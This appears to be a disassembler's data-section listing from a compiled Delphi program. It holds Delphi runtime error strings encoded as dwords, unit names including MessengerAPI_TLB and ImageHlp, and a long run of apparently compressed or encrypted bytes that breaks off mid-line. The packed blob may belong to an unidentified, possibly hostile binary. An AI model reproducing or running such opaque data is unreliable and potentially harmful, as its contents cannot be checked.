740069h, 200068h, 720061h, 750067h, 65006Dh dd 74006Eh, 4E001Bh, 20006Fh, 720061h, 750067h, 65006Dh dd 74006Eh, 660020h, 72006Fh, 660020h, 72006Fh, 61006Dh dd 200074h, 250027h, 270073h, 560022h, 720061h, 610069h dd 74006Eh, 6D0020h, 740065h, 6F0068h, 200064h, 610063h dd 6C006Ch, 200073h, 6F006Eh, 200074h, 750073h, 700070h dd 72006Fh, 650074h, 40064h, 650052h, 640061h, 570005h dd 690072h, 650074h, 450024h, 720072h, 72006Fh, 630020h dd 650072h, 740061h, 6E0069h, 200067h, 610076h, 690072h dd 6E0061h, 200074h, 72006Fh, 730020h, 660061h, 200065h dd 720061h, 610072h, 290079h, 610056h, 690072h, 6E0061h dd 200074h, 72006Fh, 730020h, 660061h, 200065h, 720061h dd 610072h, 200079h, 6E0069h, 650064h, 200078h, 75006Fh dd 200074h, 66006Fh, 620020h, 75006Fh, 64006Eh, 73h, 4F000Dh dd 740075h, 6F0020h, 200066h, 65006Dh, 6F006Dh, 790072h dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh, 250020h dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh, 660020h dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h, 640069h dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h, 6F0054h dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h, 20006Eh dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch, 610020h dd 630063h, 730065h, 200073h, 650064h, 69006Eh, 640065h dd 520017h, 610065h, 200064h, 650062h, 6F0079h, 64006Eh dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h, 65006Ch dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch, 490015h dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h, 720065h dd 630069h, 690020h, 70006Eh, 740075h, 440010h, 760069h dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h, 720065h dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h, 630065h dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h, 650074h dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h, 77006Fh dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h, 6F006Ch dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h, 200074h dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh, 6C0046h dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh, 74006Eh dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh, 790062h dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h, 650076h dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h, 64006Eh dd 720065h, 6C0066h, 77006Fh, 384F3D26h, 0B83782C2h, 34224F3h dd 833A9B17h, 0CC100001h, 0 db 1Bh align 10h db 1 aDstub db 'dStub',0 db 10h aFcomobj db 'FComObj',0 db 10h aQcomconst db 'qComConst',0 align 4 aBsysinit db 'SysInit',0 align 2 aSystem db 'ÇSystem',0 dw 210h aSysutils db 'SysUtils',0 db 10h, 0B4h, 49h aMagehlp db 'mageHlp',0 db 0Ch aKwindows db 'KWindows',0 dw 5510h aTypes db 'Types',0 dw 9D10h aSysconst db 'SysConst',0 db 10h, 73h, 41h aCtivex db 'ctiveX',0 db 0Ch a3messages db '3Messages',0 dw 4310h aVariants db 'Variants',0 db 10h, 24h, 56h aArutils db 'arUtils',0 db 10h db 2Bh, 47h, 72h aAphics db 'aphics',0 db 10h db 0C7h ; Ç aConsts db 'Consts',0 db 0 a8registry db '8Registry',0 db 10h db 22h ; " aRtlconsts db 'RTLConsts',0 db 10h db 0DDh ; Ý aInifiles db 'IniFiles',0 dw 5E10h aClasses_0 db 'Classes',0 db 10h aQtypinfo db 'QTypInfo',0 dw 0D500h aRetcompress db 'retCompress',0 db 0 aCmessengerapi_ db 'cMessengerAPI_TLB',0 db 10h dd 647453ECh, 4C4356h, 68532A0Ch, 416C6C65h, 4950h, 3443526Bh dd 50B80000h, 78h dword_4002B378 dd 3E1C1203h, 23353B5h, 6E0525BBh, 387A0825h, 2E557A0Bh ; DATA XREF: .bss:off_4001F6E4o dd 5F51B43Fh, 0B44D21B2h, 2A121022h, 76253875h, 18210338h dd 77C97F1Bh, 26212010h, 0D29035Fh, 0F208299Ah, 43A6942Ch dd 0CB78BEBFh, 0D06CC8C9h, 0C5B53AC1h, 0F41F1570h, 0AA5C1E1Ch dd 2723B1AFh, 0AEAD7635h, 7D2E2ABDh, 0AC0BEB45h, 696832D0h dd 207237D8h, 0D53A7A89h, 193F3D61h, 56C8341Dh, 0B5A87620h dd 0A1AC0625h, 9420628h, 7D6C2C4Ch, 1C318860h, 0CAA2D0C9h dd 141639C7h, 0AB0DBD0Fh, 0B12E8628h, 0EB12942Ch, 0C216EB10h dd 2A1DD413h, 1B29192Ah, 7D70527h, 2D01DEh, 0C6C0E28h dd 8920ABBh, 2BE32D89h, 1611281Bh, 12411415h, 1E9810ADh dd 1ACF1CFBh, 95918C7h, 0D970B42h, 18F0F87h, 0FFBF2B01h dd 0B5F36D5Fh, 0DFE1420Dh, 148D2271h, 1627B24Dh, 7E2A2A6Dh dd 907BCCC5h, 0F0B0CDCFh, 0B0173725h, 0D47FB939h, 55ED3EF6h dd 0CA1EB769h, 73235470h, 7C4CA574h, 152A0729h, 42241ACh dd 1C325DB0h, 955CB57Ch, 0C85E1D5Ch, 5B2B4909h, 4E1C3C2Fh dd 2BC9712Fh, 664214EBh, 0BCC13E11h, 1E6A8CF0h, 358A9A29h dd 7077B0B8h, 3B213928h, 3F287D6Ch, 111CEB07h, 22401F0Eh dd 37CF7370h, 6DE920C7h, 2C1CF67Bh, 62311E3Eh, 0B11EA33Bh dd 2B0DBC60h, 9D1B5A66h, 0CA10FFF4h, 21951E75h, 97F52E60h dd 0C84FF029h, 6CD12B7Ah, 520F2EFEh, 90346031h, 273B0913h dd 362BFB33h, 1B93BA32h, 6F025F1Fh, 73311127h, 590621CCh dd 2EED3AE8h, 2F2F0C9Dh, 3A939034h, 49487471h, 0F4B1692Dh dd 3A4E339Fh, 0BD0D5EF3h, 4220C011h, 0CE0D202Dh, 2BCB2ABEh dd 2D2CCF7Fh, 0D1B91AC7h, 24515832h, 5238F84Fh, 9F521EBBh dd 29F4D421h, 0E1A50B1Eh, 3B8956B8h, 892C4772h, 8B287B34h dd 1C704630h, 0D163121h, 0D12D3632h, 0B0319BF8h, 192A1DB0h dd 1CF70A1Ch, 0DBAD5AF0h, 29231127h, 0A89EC23Ah, 0CE9A2E9Bh dd 0F9BDBFCEh, 3837A802h, 187FFC38h, 0FD72C2Dh, 9F1FAE81h dd 32A224B3h, 892C3FCCh, 2E2F6929h, 8CC63D6Ch, 1B167DB9h dd 135ABC52h, 3E4F1338h, 171A79FAh, 0E19E5469h, 0B21B256h dd 0E361441h, 3E497A0Dh, 0F6394D9Bh, 0EF0A3D1Fh, 997E416Fh dd 0AAB6A9ACh, 408C1432h, 4D5887FEh, 0AEF48FAEh, 0E67DAF61h dd 0B9692037h, 0A6245E2Ch, 310F5F11h, 0A480C44h, 6B008B4h dd 0A903B53Ah, 0BC24A501h, 1FB91E22h, 1B911D8Dh, 9627199Dh dd 0E614EE16h, 3010FE12h, 0BEF0DE7h, 7DF09D7h, 0C804D499h dd 917FC402h, 1F945D6Ch, 13262134h, 19C71E43h, 2FEAE00Ah dd 302C4524h, 0D727CE62h, 363475EEh, 1B1EBDB3h, 0B7B5303Ch dd 1E01388Fh, 32E5A319h, 268D8A23h, 3C297826h, 7F222C27h dd 33100F2Fh, 0DE656634h, 0BBD63825h, 43F39FFh, 4BB83BFCh dd 0A0C8EE95h, 5324D720h, 0A0683B60h, 47A9EB5Dh, 7753EF2Fh dd 0BC646133h, 1D381342h, 1D187FFDh, 0C183F3Fh, 83BAA94h dd 0A0E425E1h, 0A8036801h, 0EC2F2A28h, 0B2253628h, 34332E30h dd 0B822C931h, 3C3A38E5h, 6F3EC6BEh, 41DE2E16h, 62E6A034h dd 4AA7E633h, 242A2628h, 202E222Ch, 333DCE30h, 3739353Bh dd 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh, 29252B23h dd 25292727h, 0D12D232Bh, 323E3020h, 363A343Ch, 3A363838h dd 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h, 0E7A32425h dd 25ADEFA1h, 5931456Eh, 95023232h, 3B3C5D28h, 0F9387B6Ah dd 0F41F3C3Eh, 32BF0213h, 25E32661h, 2D2426E9h, 882CCA68h dd 332FBE09h, 0E323716h, 0CF585664h, 1A7222D9h, 8DD73B7Dh dd 6FBCD436h, 2707E055h, 0E7A37628h, 3DAA5D7Fh, 2E2E15AFh dd 6CB22044h, 0B7892530h, 64FDB234h, 647E0CB5h, 277DF45h dd 5E712075h, 7625FEA9h, 0AF05A8D7h, 3F2E59DDh, 23393C2Dh dd 0F1633533h, 3A593471h, 2E7BFB3Fh, 5A1D193Eh, 0DC253F38h dd 1B381D2Dh, 1661191Bh, 12BF14A6h, 0E84108Dh, 0AEF0CFFh dd 6C008D2h, 3CCC3A3Ah, 1D1F3E3Eh, 10181C1Dh, 1439122Fh dd 18511665h, 1CBD1AA1h, 0EB1E92h, 50702E2h, 9540773h dd 0DAE0B41h, 2AF80F97h, 2D0E2CC0h, 31EAA927h, 0A29BCDACh dd 0FA60DEFh, 3A0AEE90h, 72180975h, 267C4925h, 8E52D12Ch dd 0F38619F9h, 0C9D693Fh, 0A56E04DFh, 0E4C9B21Bh, 0F4116D03h dd 3645766Bh, 7460A86Eh, 2ADD2120h, 76D12B72h, 7CFC1528h dd 5989142Ch, 44A9055Dh, 60A4E4D2h, 0C12C27DAh, 0ED6C4229h dd 6EC4622Eh, 38BD576Ch, 623C3736h, 0FE61DEB1h, 0B2577E86h dd 0BE3DD95Dh, 0A4A0CAE0h, 61CFA7h, 27F83BE9h, 0F04856C5h dd 0E2702536h, 6E003632h, 0BC2F2551h, 5D1BB321h, 1F2E3D38h dd 1B221104h, 1733DA24h, 0A02B2BF4h, 0D4ADA5F4h, 23A8B1CFh dd 34062E41h, 3B17F9B8h, 5E6553Eh, 4F5D1AABh, 0F9D135E0h dd 2E7A9421h, 2E00C127h, 0FC1E2E2Bh, 66B89079h, 56531417h dd 31C91826h, 1A3D8C2Eh, 1D13E43Fh, 212F1F11h, 252B232Dh dd 29272729h, 22D32B25h, 3E30202Eh, 3A343C32h, 36383836h dd 0C23C343Ah, 1C143F31h, 20101E12h, 242C222Eh, 2828262Ah dd 232B25D6h, 3F2F212Dh, 3B333D31h, 37373935h, 3C343539h dd 0F87A93DBh, 2EB3F71Dh, 0C32041BBh, 42670389h, 0BC3E0AC9h dd 367467FCh, 73947BF2h, 737CF10Bh, 226A73FAh, 71BA77F9h dd 5A3D1118h, 6756C839h, 0C47125A2h, 40C17A8Ah, 5F692DAAh dd 0DA617AEDh, 5434B56Eh, 6A3C3821h, 0D723FDB8h, 2D199A0Ch dd 0CA8C1A7Ch, 240691C5h, 2F2F2920h, 72A2A29h, 8A362D46h dd 0B5EA3525h, 74988F02h, 93AA3F98h, 761F3E3Ah, 69153A87h dd 677CCB65h, 0BAE6A724h, 797AB249h, 0B0F42FA8h, 35B67130h dd 0DA1B711h, 3EA8D311h, 263E7E12h, 5A96DFF5h, 59CB7721h dd 86C0C159h, 0AE469F15h, 71138C2Dh, 0E9330B5h, 5A37B064h dd 9E78049Ah, 0B039F3Dh, 23BF1DBEh, 2384FB39h, 0F33D3AF1h dd 2037FA27h, 30FF2CFEh, 0E64DCC43h, 0D82BE633h, 90CA377Fh dd 81CC3FFDh, 36C9A2Bh, 0ACE1940Eh, 52E2259h, 0CC0EA16h dd 0DD298BFAh, 716DA62Fh, 0BC753232h, 89A337Bh, 3C7CC42Bh dd 19DA321Dh, 2E300526h, 0F0D222Eh, 59242845h, 7C2E9A08h dd 0BB2B78A6h, 0A1A31137h, 0F0E4C661h, 35FF4230h, 130E3C2Eh dd 0A1EFDADh, 36422D4Ah, 666A3B65h, 0CBCD4B36h, 1FEAAE09h dd 69333B74h, 29746037h, 0A52470FFh, 7B183775h, 7EB01211h dd 3641300Ch, 0A71939A2h, 236BB53Ah, 27690C41h, 8B387028h dd 0DE650BF3h, 3BF839D1h, 0FFBE2D75h, 2D914A15h, 0F6C82050h dd 20A522E3h, 0C12C7533h, 0A72D4BE1h, 0F73C0B6Ah, 342BD2BBh dd 672656BEh, 6AFF33F8h, 130C2011h, 4033FF1Dh, 0A428C0Fh dd 9C379E75h, 0AE292A30h, 492EC603h, 74103031h, 78441573h dd 1F4B555Ah, 1BFF3C3Dh, 766A1D6Eh, 4D460F11h, 40221757h dd 2D244B47h, 4B4F4C5Fh, 4363138h, 565E2E56h, 0B22B5551h dd 0DEEA383Fh, 213360FBh, 4777005Eh, 0E640475Bh, 3A474700h dd 272D6C6Bh, 7AC823Ah, 0C96001D2h, 0D3D09E1h, 38DD05DBh dd 3D2322EDh, 3164FF19h, 0F3DB3373h, 3A1A3AAEh, 253BC075h dd 9437FF46h, 0BE39D808h, 351C1B5Ah, 4CC38ECh, 41A8AFAEh dd 63DFEC2Eh, 0C4E7A3C1h, 0A71EC525h, 2F2B2535h, 84268121h dd 39555BD3h, 283D6696h, 4F7A320Fh, 0A79B775h, 91971308h dd 0A0202CE0h, 58A92FE5h dd 0C7A9E5E4h, 67723D38h, 132376BBh, 77C9B154h, 0EA3BB616h dd 30F7B83Eh, 1D1DED9Fh, 0AF74731Fh, 7673317Ch, 19E208ACh dd 0A3D2D170h, 62113461h, 475D8D62h, 0AFD1A437h, 2E3D6539h dd 5191E4F0h, 0A820173Ah, 0CD64075Eh, 9FD5713Ch, 0AC02AAD5h dd 1FBB2806h, 0B4601EB2h, 0D16A3F1Bh, 3C16B1BFh, 9EF33C3Eh dd 70341EBCh, 741164ACh, 17810D21h, 0B86BD5D7h, 0B520ED1Dh dd 0B5BC3295h, 7213623Fh, 8024BF79h, 0F9C136FEh, 4AE61C9Ch dd 0E3A2A6A1h, 3426722Ch, 702EC6Ch, 0B8C67D04h, 0F3903833h dd 0FF50F1Ch, 0BB67BD37h, 7F4E7E34h, 1AF56845h, 84A0F480h dd 69A86057h, 76BF2425h, 662D2008h, 3792492h, 8009D7A0h dd 0DF693A88h, 3F9F9307h, 9CBE27DBh, 1DC7721Fh, 0C325E1B0h dd 28EAA51Ah, 0B65E17CCh, 12D32EEEh, 0CA0ECCB6h, 0EA932A0Ch dd 0AF4D9F2Ch, 8BE429FDh, 82F008D4h, 32E74F20h, 2B25E429h dd 0C4FEA1Ah, 481F6E2Eh, 7410173Dh, 31DC323Dh, 7CB618D9h dd 0B7FB541h, 1CCE9620h, 20E821A0h, 0AC5E256Ch, 0F1A10969h dd 33AE742Fh, 0C501CE03h, 35766263h, 0BA2A3538h, 4C5B3745h dd 6B5C1C68h, 0A312AB1Dh, 13CD7273h, 7AE90A17h, 993FFA75h dd 323E2300h, 195D5452h, 91551A5Bh, 5695A1DBh, 71375427h dd 0CB4C3D02h, 0A0374A2h, 728284Ah, 5B71A46h, 82C1E242h dd 591E5F1Dh, 5517A959h, 12B43081h, 703C3E52h, 7C49957Dh dd 2A230519h, 4AA6A6E5h, 4EEAA783h, 582F2C2Dh, 3633CDCEh dd 18C86065h, 1887BAEAh, 343CFE7Ch, 0DD4F1F69h, 0A8202145h dd 273E0170h, 365FE313h, 3B0A61A7h, 0F1A6BC74h, 9BBF653Ah dd 333A2178h, 0FFB2B43Eh, 4C1F1C72h, 322151B4h, 26515467h dd 0AC295C5Ch, 0BF472C5Fh, 46AD305Bh, 36459333h, 60691F12h dd 8521DA25h, 1C498147h, 9121573Eh, 65256677h, 6CC8266Eh dd 2C644B2Bh, 342F413Eh, 0E5357621h, 3878773Dh, 2E6C2A6Bh dd 78C43F4Eh, 0C8D0954Dh, 4983037Fh, 2F456DE5h, 6D91B028h dd 0C0AB4628h, 7A26B304h, 0D8ACDE5Ch, 0B2B17E70h, 8DB51B1Dh dd 4E621D8Fh, 0CB757330h, 0A42205DFh, 676331ECh, 6FDEEF22h dd 7231E83Eh, 0F723C83Ah, 351E4930h, 30301F4Eh, 9D17CD13h dd 69B03CDBh, 0D9974C0Bh, 8BC12A46h, 4D7D3CCAh, 733712Bh dd 0F63A5D02h, 40987437h, 69683E8Fh, 5D2190B7h, 0DE761FEEh dd 0BD2403F5h, 0D8140AADh, 7D6CBB33h, 0A7310F44h, 943513E7h dd 39FB6642h, 3EAD0EB1h, 3FCFF039h, 0F27D0B07h, 6DD76C1h dd 37C4F706h, 0CED2AB2Bh, 9ECF582Ah, 62D13B57h, 0CC5F5094h dd 0BC3DFA05h, 71C7FEEh, 73BE6191h, 24C22781h, 5AD8BD6h dd 0DC8A686Bh, 304F64FDh, 63726361h, 37AAF4DCh, 2153393Ah dd 60FD345Bh, 0DD514745h, 9211C175h, 66E08029h, 2BB9D026h dd 0EF96F65Fh, 92F2BB07h, 2AC1B732h, 5BA18B6h, 0CC2A49C4h dd 193F7C3Fh, 2368012Fh, 69153399h, 17772661h, 0FD300974h dd 3E3BB020h, 0C34FFC32h, 0B2601F42h, 1970633Ch, 0D5182F04h dd 0A0DF0F4Ch, 1767A27Fh, 32A72DE5h, 2D6D32AFh, 607D1E11h dd 0B49224D9h, 1C72361Fh, 0D46A7F39h, 1D3F2F07h, 9F2C774Ah dd 0CC1BC936h, 0A4D9DA34h, 6F30A5ECh, 273B3D08h, 3334A137h dd 613659F8h, 68ECC638h, 6261EBC3h, 1FAD6045h, 7A1E241Dh dd 262A242Ch, 2E01256Fh, 63C7978h, 0C4026723h, 5C639463h dd 1AE20A1Fh, 735F1C1Ch, 15C77A9h, 903403AEh, 743C0E29h dd 88153926h, 3C160B12h, 19397F7Eh, 452E26CDh, 798D0794h dd 0BC48B025h, 5296509Eh, 0E7DCF663h, 86261353h, 1B866016h dd 7C0F0E4Dh, 10A718C5h, 0B100B633h, 0D870155h, 0FCBB083Eh dd 1FFD6062h, 29281C1Ch, 7120A171h, 25A144CCh, 0B28AA76h dd 46A9A76Ch, 3303134h, 0BC37955Eh, 4928C6F0h, 284F503Dh dd 0A39581Bh, 0CA71EF94h, 22830932h, 7A63A8C8h, 2BDD9A21h dd 0CC31BC8Bh, 36CF5CCCh, 5CECC734h, 9E31FFB1h, 9D329E35h dd 2C2ACF9Bh, 787A7C32h, 72BD879Eh, 21C8EFA9h, 2309FEDh dd 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h, 20101E12h dd 242C222Eh, 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h dd 0C7373935h, 3C343A36h, 1B303E32h, 1F111D13h, 232D212Fh dd 28262ADBh, 242A2628h, 202E222Ch, 79407B4Fh, 547C4A2Ch dd 71412572h, 75412142h, 1E02A164h, 223E2000h, 229D2423h dd 0D0C9082Bh, 2C2D291Dh, 16B568A4h, 7634541Bh, 3A59145Dh dd 0AAB69068h, 504D1BDDh, 6921BF4Eh, 54612392h, 29581B26h dd 1D7C797Bh, 3E30202Eh, 3A343C32h, 36383836h, 0BA3C343Ah dd 73573F3Dh, 649412E3h, 1732E05h, 409E76B5h, 0C4135A58h dd 6E063ECBh, 1BFE02F3h, 0E8600C36h, 6B3A3A1Fh, 17D7B26Dh dd 4EFFB36Dh, 0E3707028h, 97456B3Ch, 0EA65690Bh, 4E3FA87Bh dd 8B333033h, 32F63431h, 3E8FF139h, 3E3BED3Dh, 7E1519C3h dd 2A0478BBh, 8824244Bh, 0AA222447h, 383ECD2Bh, 5231D1F4h dd 36D4153Eh, 0DB1520F7h, 682FFC3Bh, 7D1CFA08h, 21C4205Ch dd 7024C768h, 4A28C373h, 6E2EBF9Ch, 0D16218EAh, 64344232h dd 499937C3h, 6F6D0730h, 641F6F6Eh, 605D333Fh, 28AE0F01h dd 5061CA0h, 2443EE78h, 0D8E02A3Fh, 0AB3CB24Fh, 0D0360E43h dd 0CC168AE3h, 0F36AAE6Eh, 796EBC53h, 74CA7023h, 0C61A54D6h dd 2B20292Ah, 43426C2Dh, 7012525Fh, 58455B5Bh, 3BCF2939h dd 4D783C1Ch, 1118797Eh, 2121761Eh, 43404870h, 68282857h dd 47BF2D91h, 3259645Bh, 363D5099h, 8E390C35h, 5B4E5357h dd 1C541F1Eh, 21721DABh, 644D6535h, 0BAA7AD26h, 0A77C282Ah dd 31A42DA9h, 0F05C6237h, 3938D6AAh, 0F173D33Bh, 0D898C0C2h dd 4816023Fh, 2507065Dh, 2C1C6178h, 262BA3D1h, 0CEFDAC22h dd 34CC30CEh, 0BCF17A92h, 1C2DD61Dh, 0E2D73D3Dh, 0D92C1DD9h dd 0DDA33130h, 96862576h, 2A2A6D59h, 5BEEA96Ch, 3280593Bh dd 2236CA26h, 3A38E190h, 39FD3C8Ch, 131D198Bh, 4ADE4A7Dh dd 6525AB2Ch, 8B4D2927h, 2E7D282Bh, 3214B94Bh, 0F2D9B537h dd 38393E37h, 1AB9B16Dh, 1D1E1B87h, 2024771Ch, 914CA769h dd 0D67A21A7h, 256C7DFDh, 35A336Eh, 377DDB62h, 67EA6830h dd 63633F58h, 0D85BA51Ch, 0A3072123h, 74A141ACh, 0CBBAD76h dd 6492AB39h, 706CA57Ah, 0F63F4620h, 0FC01B73Fh, 0F2DF39BBh dd 0FB3B1C89h, 0AA066321h, 280A06D0h, 7F7F9F2h, 0CF82200h dd 0CEF827h, 2C313A1Fh, 0FB363A32h, 6D3E78B3h, 37D6396Ch dd 16965A5Bh, 0F2055494h, 22E1A72Fh, 0A802DE6h, 8927F202h dd 36353520h, 663D37B3h, 654D3B67h, 3D32EF38h, 95CD1505h dd 71394F9Bh, 12302362h, 0AD9DCB22h, 2CADB02Bh, 131AABEh dd 34A10B1Dh, 38A9E75Ch, 0DB3C7AE1h, 2E3B3EDBh, 21FAB765h dd 2564A431h, 1826638Dh, 9CBE2B6Ch, 316AF62Ah, 31327261h dd 9836A36Dh, 2C383A6Fh, 6B3EAAD0h, 8CEC37F4h, 0E0213BBAh dd 2EC6262Bh, 9BC22D42h, 0B11E24DFh, 3B3920F1h, 27BF24BFh dd 361E0A97h, 612052C7h, 7A0C24BFh, 310143CCh, 17052405h dd 48CD0C8Dh, 7E136C7Dh, 131534FFh, 108C7C26h, 0D246E8BAh dd 2ABF2F85h, 103D1D70h, 0E4243C46h, 80692E03h, 6BC14726h dd 200D2EAFh, 31F51B78h, 4123E13h, 3F0A8730h, 2839DDBh dd 0E41ED238h, 0CD1AF87Ah, 44FB2284h, 2884C4CCh, 0E9FF2FCAh dd 722ACF2Dh, 8C33F2F7h dd 0C93C3735h, 0C390BB3Ch, 0FAF90D75h, 0AA2D571Dh, 10722300h dd 6C67E9E0h, 0A5C23E1Bh, 1C662A6Dh, 3712D7EEh, 9AD681F3h dd 9B618DF9h, 0E793D12Bh, 0FE16F403h, 8A8CD053h, 8BD12C23h dd 3683E91h, 4E5681C2h, 559CDC2Ah, 0DF583672h, 383A6E9Ah dd 3EEEB834h, 19091B3Ch, 29351F1Bh, 0E1D63622h, 29ABD8D8h dd 69A14BECh, 0BA60230Ah, 1ADCFD22h, 31BC37F8h, 19946FB7h dd 3F1BB632h, 0EE0E1E4Fh, 7421B421h, 0C02F1625h, 0D3D5E54Eh dd 44EFAA7Dh, 1418327Ah, 70677734h, 3C344526h, 0E1E2BB6h dd 0A5AC1974h, 9B722710h, 152671ACh, 0C33FFB2Ah, 0E247D4Dh dd 53B1D819h, 0BE61CAFAh, 7B32B98Dh, 3F2A2C2Dh, 0C1D4C1Ah dd 6AD3FFFh, 21B52D9Bh, 38DBB035h, 0AA9EB3Fh, 3265907Fh dd 25348435h, 4C3B273Eh, 0C2B3702Dh, 1E130D40h, 23C1DE95h dd 22E32CABh, 0A975C09h, 0C51D5001h, 11C3C3ABh, 0BC33A326h dd 36160106h, 0AB21A439h, 0ED6E5D23h, 8BF7D650h, 39B35D40h dd 2CC7FDECh, 4DB531D8h, 8932BE28h, 29A13240h, 0F9BC1AC2h dd 0B53F4C99h, 2A2E375Ah, 361F74B2h, 2D4B103Fh, 7E0BA5EAh dd 38C723ABh, 36E7928h, 68333525h, 0C8359E58h, 38D7383Bh dd 6956C256h, 1E1D5FB7h, 2280441Eh, 0AF417427h, 2E290D3Fh dd 584D8F0Bh, 221544A6h, 0EDC7019h, 0D3063892h, 6A3D9916h dd 0B83EF27Bh, 36C9761Eh, 179C2382h, 0E62D5556h, 253DC4FAh dd 744AC128h, 90D73534h, 0E1D11D36h, 79033B9Fh, 1CBEF2D7h dd 85DDF749h, 0CD874B21h, 90278692h, 432D28E1h, 0A9722822h dd 3531F339h, 0A81DE2DDh, 0BB1B71DBh, 7FA01659h, 9FD73883h dd 0ABBBA802h, 0A8C38806h, 0E329250Ah, 7D13A67Bh, 38DB74Ch dd 0B23D0639h, 0BB4E59C8h, 0B9B5EA51h, 3D01FCA0h, 2D6320DBh dd 47AA5BCBh, 53D9C016h, 70720C6Bh, 0F6B23874h, 0BB52757Fh dd 58D13C78h, 0F52F7EBBh, 0DC9C88D7h, 323D2CDFh, 11250122h dd 1D2B7370h, 678C378h, 9B2276Eh, 6507700Dh, 39B001B6h dd 0BD3E386Eh, 1A9F081Fh, 78205D4Bh, 0A0E57021h, 2B278601h dd 31C3AE2Ah, 53DD6C82h, 7C15403Ch, 72376760h, 1256B8EAh dd 0EB66247Fh, 0D5EA1D4Dh, 0BB40636Dh, 41BC2455h, 67288E4Ah dd 7DEA3D80h, 45AB234Fh, 51A4C46h, 0B76B1C69h, 0DD4BDC4Bh dd 23116D10h, 1DB36BEAh, 0A4667291h, 5B029644h, 51CD5FC2h dd 91A5368Eh, 0B606663Ah, 0D330991Fh, 0DFA25D67h, 0EC29901Dh dd 0DE703DDFh, 0AD32C3F4h, 364D1805h, 2D33FC2Ah, 40012F31h dd 8545075Ah, 481681D6h, 4C1E4780h, 239DFED4h, 326E316Ch dd 2EAA5E1h, 14E1EB54h, 0B9E9ED4Dh, 302FD12Fh, 0F79E72D9h dd 0BCDEC9C9h, 1CB60CF9h, 45D70C72h, 0D4401CD5h, 0E74271C8h dd 1AE7DAD8h, 6F2FE844h, 7F3E094Ch, 0AEF20E58h, 6A5E70F7h dd 3B521BF9h, 0FEEAF93Ah, 1D9D5412h, 2261A0A6h, 299A920h dd 6B4BC10Bh, 4CC82BABh, 425147E2h, 747054Ch, 492898F3h dd 0D64F6C73h, 72CAF29h, 0E1E705AFh, 50E4A621h, 3BA0212Ah dd 69412B3Dh, 396D7171h, 716F3282h, 3DFA775Bh, 623DC53Ah dd 131B3053h, 2F1F111Dh, 2B232D21h, 0F9612034h, 2C6A6228h dd 1A3F0E67h, 64A9627Dh, 0B863FC45h, 353D6FF0h, 0A26D360Eh dd 6B93911Ch, 0AE320504h, 67720158h, 9252613Bh, 0DC0E472Ch dd 3CDA6195h, 0C8CB35D4h, 0F1EADB3h, 3F3E3C3Dh, 97D42F1Ah dd 2A3D0453h, 0A2717A3Fh, 231D6703h, 27800D64h, 8E59396Eh dd 16653DD2h, 3A6DF88Fh, 0D634CE39h, 3DB8197Eh, 77754C00h dd 0ADE5A075h, 0F880CF22h, 0CD08873Fh, 61702EFEh, 0DD4A7EBFh dd 0BC3EF785h, 0B833FBBAh, 1E1B3A31h, 0C83F8C4Ch, 56F72D60h dd 0C1262C2Ah, 236A2F32h, 0B50201E1h, 0B93032D2h, 28137A35h dd 0C39ECCD1h, 9FB46EC2h, 6A9E7538h, 7333E348h, 2464E2E6h dd 0D33FD62Eh, 64EE772Ch, 0AE0AB011h, 0B7663634h, 0FBD22D33h dd 0C0C19A4Ah, 4AD91D71h, 2A65480Fh, 0A535CE96h, 59A918CBh dd 442C2C2Bh, 58385A3Fh, 79155E30h, 3E532E5Dh, 54197C7Bh dd 7A9C1A3Dh, 0BAFB1AD9h, 247423C3h, 0A96C6316h, 0A81C5E27h dd 15F40FADh, 85FCB864h, 31387324h, 0FDADD33Eh, 1495B224h dd 0DF7DFAF5h, 64E311DEh, 6EAE263Ch, 0E8A87421h, 672CED21h dd 751FBC29h, 0D0676031h, 0BD5838F6h, 3F4BB527h, 0E5DA9E10h dd 48352024h, 0C6B3E25h, 3B2B3D3Ah, 279C232Ch, 5DAA5F0h dd 3B3B3865h, 75737969h, 7E063C34h, 0E14A04BAh, 2195620Ah dd 52D3A177h, 0EE6DA82Dh, 0AF2BAF74h, 3302305Ah, 2A19349Eh dd 0CF21B9B7h, 0B66C18BBh, 75D0B76h, 6760569Ch, 0A8B02BA2h dd 0AD6E6772h, 7D7E1028h, 73416967h, 8FB13CB7h, 68BB7178h dd 1C347D7Ah, 3C631BAAh, 781D2B05h, 9F9D2013h, 2A163A85h dd 2D291C84h, 42D1BB2h, 33893003h, 0EBE3A81h, 9199B3Bh dd 190D2E3Fh, 15CAA0A6h, 52201745h, 0CB24107Eh, 0AD7E01B9h dd 6E35B9B4h, 0B1A3306h, 51FFD36h, 83D133Ah, 304E3FA7h dd 40A6197Ah, 0EE24418Ah, 86952482h, 98A99027h, 71457A29h dd 4E32302Ah, 37BE7C92h, 96117534h, 3E49BFD2h, 0C11C6944h dd 5353BDF7h, 4ECDE722h, 5D4B2652h, 5977812Ah, 33447C2Fh dd 76354779h, 2923642h, 332C3B4Bh, 1C6AA488h, 51B6100Dh dd 932D3221h, 38222654h, 2C5BEF27h, 312F9623h, 0E7303228h dd 38377594h, 0AF3E1A20h, 183F3F24h, 5B19655Ch, 23DD3420h dd 85367524h, 2A23296Bh, 